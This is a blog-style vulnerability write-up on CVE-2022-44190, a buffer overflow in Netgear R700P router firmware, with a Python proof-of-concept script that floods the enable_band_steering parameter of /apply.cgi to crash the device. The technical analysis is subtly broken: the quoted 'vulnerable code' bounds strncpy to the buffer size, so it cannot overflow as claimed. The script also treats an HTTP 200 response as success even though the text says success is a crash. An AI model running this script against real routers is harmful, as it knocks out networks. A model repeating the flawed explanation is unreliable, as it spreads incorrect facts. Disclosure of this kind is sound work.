A recent discovery has shown that Netgear's R700P router firmware version V1.3.1.64 is vulnerable to a buffer overflow attack. This vulnerability, tracked as CVE-2022-44190, allows an attacker to execute arbitrary code on the targeted device or cause a denial of service by crashing the system. The identified source of the exploit is a vulnerability within the enable_band_steering parameter.

In this post, we will provide a detailed analysis of the CVE-2022-44190 vulnerability, explore the technical aspects of the buffer overflow attack, share a code snippet demonstrating the exploit, and discuss potential mitigation techniques to protect against such attacks.

Exploit Details

The buffer overflow vulnerability exists because of improper input validation and insufficient boundary checks within the enable_band_steering parameter on Netgear's R700P V1.3.1.64 firmware. To exploit this vulnerability, an attacker can send a specially crafted HTTP request containing an excessively long string in the enable_band_steering parameter value.

The vulnerable code can be located in the following function

void process_request(struct request *req) {
    char enable_band_steering[128];
    strncpy(enable_band_steering, req->enable_band_steering, 128);
}

As illustrated in the code snippet, the strncpy function copies the data from req->enable_band_steering into the enable_band_steering buffer without properly checking the length of the input data. Consequently, an attacker can send an arbitrarily long input string to overflow the enable_band_steering buffer, potentially leading to an overwritten return address and execution of malicious code.

Proof of Concept

The following Python script demonstrates the exploitation of CVE-2022-44190 by sending a malicious HTTP request to the Netgear R700P router with a firmware version of V1.3.1.64:

import requests

target_url = "http://<router_ip>/apply.cgi";  # Replace <router_ip> with the IP address of the router
payload = "A" * 200  # The payload length should exceed the buffer capacity

data = {
    "submit_flag": "some_flag_value",
    "enable_band_steering": payload
}

response = requests.post(target_url, data=data)

if response.status_code == 200:
    print("Exploit successful")
else:
    print("Exploit failed")

This script sends an HTTP POST request with a malicious enable_band_steering parameter value to the /apply.cgi endpoint on the targeted router. The successful execution of this script will cause the router to crash, indicating that the vulnerability has been exploited.

Mitigation Techniques

First and foremost, users of the affected Netgear R700P router are advised to update their firmware to the latest version. Newer firmware versions have addressed this vulnerability by properly validating input data and implementing appropriate bound checks.

Additionally, users should follow general security best practices, such as regularly updating their devices, using strong and unique passwords, and maintaining a robust firewall configuration.

Conclusion

CVE-2022-44190 demonstrates a critical security vulnerability in the Netgear R700P V1.3.1.64 firmware. By exploiting this buffer overflow vulnerability via the enable_band_steering parameter, attackers can execute arbitrary code or cause denial of service attacks on the affected devices.

We encourage users of the affected routers to follow the recommended mitigation techniques and remain vigilant about their network security.

References

1. Original Security Advisory: https://nvd.nist.gov/vuln/detail/CVE-2022-44190
2. Netgear R700P V1.3.1.64 Firmware Update: https://www.netgear.com/support/product/R700P
3. OWASP Buffer Overflow Exploitation: https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
4. CERT Secure Coding Guidelines: https://wiki.sei.cmu.edu/confluence/display/seccode/Top+10+Secure+Coding+Practices

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 19:23:00 UTC